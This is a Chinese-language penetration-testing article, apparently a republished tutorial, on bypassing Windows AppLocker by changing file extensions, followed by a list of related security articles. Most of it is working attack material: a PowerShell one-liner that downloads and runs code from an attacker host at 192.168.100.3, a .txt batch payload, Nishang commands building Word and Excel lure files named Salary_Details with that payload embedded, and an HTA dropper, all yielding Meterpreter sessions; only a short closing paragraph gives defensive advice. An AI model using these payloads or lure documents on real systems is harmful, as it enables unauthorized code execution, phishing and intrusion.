看我如何利用文件扩展名绕过AppLocker?

简介: 本文讲的是看我如何利用文件扩展名绕过AppLocker?,绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。
本文讲的是 看我如何利用文件扩展名绕过AppLocker?绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。

可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接。

exploit/multi/script/web_delivery

看我如何利用文件扩展名绕过AppLocker?

Web Delivery模块 – PowerShell有效载荷

默认情况下,直接从命令提示符执行.bat文件将会被阻止,.bat文件不允许执行。

看我如何利用文件扩展名绕过AppLocker?

AppLocker – 限制bat文件的执行

但是,通过将此文件的扩展名更改为.txt并从命令提示符执行相同的有效载荷后将会返回一个Meterpreter会话。

cmd.exe /K < payload.txt

看我如何利用文件扩展名绕过AppLocker?

命令提示符 –将.bat文件作为txt执行

payload.txt

@echo off
powershell.exe -nop -w hidden -c IEX   (new-object net.webclient).downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
PAUSE

在PowerShell中,可以使用Get-Content cmdlet读取txt文件的内容,然后利用Invoke-Expression运行payload-powershell.txt文件中包含的命令:

IEX (new-object   net.webclient).downloadstring('
http://192.168.100.3:8080/9Q21wiSds9E0pxi
');

看我如何利用文件扩展名绕过AppLocker?

PowerShell – 从txt文件中执行有效载荷

Metasploit监听器将收到两个Meterpreter会话:

看我如何利用文件扩展名绕过AppLocker?

Web Delivery – 获取Meterpreter会话

文件扩展名

像Microsoft Word和Excel这类应用程序系统应该是允许执行的,并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。Nishang PowerShell框架可用于生成各种文件后缀,其中可以包含特定的有效载荷,如:

DOC
XLS
HTA
LNK

应该注意到的是,系统需要先安装office,否则nishang将无法生成相关的文件。

PS C:nishangClient> Import-Module   .Out-Word.ps1
PS C:nishangClient> Import-Module   .Out-Excel.ps1
PS C:nishangClient> Out-Word -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring(
'http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.doc
0
PS C:nishangClient> Out-Excel -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring
('http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.xls
0
PS C:nishangClient>

看我如何利用文件扩展名绕过AppLocker?

Nishang – 嵌入了恶意有效载荷的Word和Excel文件

Nishang还有两个PowerShell脚本,可以用来生成嵌入了PowerShell有效载荷的CHM文件和快捷方式。应该注意到的是,Nishang 依赖于HTML Help Workshop应用程序来生成.CHM文件。

看我如何利用文件扩展名绕过AppLocker?

Nishang – 编译HTML文件和嵌入了恶意有效载荷的快捷方式

以下代码可用于通过.HTA应用程序绕过AppLocker和其他应用程序白名单软件。

pentestlab.hta

<HTML>
<HEAD>
<script language="VBScript">
Set objShell =   CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec   bypass -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>

下面的所有文件扩展名都可以执行托管在远程的用于绕过AppLocker规则的powershell有效载荷。

看我如何利用文件扩展名绕过AppLocker?

Nishang – 生成的文件扩展名

结论

启用AppLocker而不阻止命令提示符和PowerShell那么仍然是可以允许执行代码的,即使特定的文件扩展名被阻止。系统所有者和IT管理员需要删除可以执行代码(如果这些应用程序不提供特定业务目的的话)的信任应用程序,并且为标准用户启用拒绝命令提示符和PowerShell执行的规则以及DLL规则。




原文发布时间为:2017年6月14日
本文作者:李白
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
3月前
|
安全 PHP
36、远程文件包含漏洞
36、远程文件包含漏洞
15 0
|
27天前
|
安全 关系型数据库 MySQL
文件包含漏洞利用技术总结
文章讨论了PHP文件包含漏洞及其利用方法,包括远程文件包含、目录遍历和特殊协议利用等安全风险。
29 0
|
8月前
|
开发框架 安全 .NET
冰蝎WebShell免杀工具(支持4.0.6)
冰蝎WebShell免杀工具(支持4.0.6)
285 0
|
存储 安全 Unix
通用漏洞之文件包含漏洞
通用漏洞之文件包含漏洞
193 0
|
安全 Windows
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
129 0
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
|
安全 Shell 网络安全
利用注释及自定义加密免杀Webshell
此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言 由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval。
238 0
|
安全 中间件 Shell
文件包含漏洞利用方式-日志注入getshell
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息 如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell 比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
592 0
文件包含漏洞利用方式-日志注入getshell
|
安全 .NET SQL
【代码审计】任意文件删除漏洞实例
任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。   环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.
1214 0
|
安全 数据库 数据安全/隐私保护
【代码审计】任意文件读取漏洞实例
0x00 前言   大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。   这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。
1465 0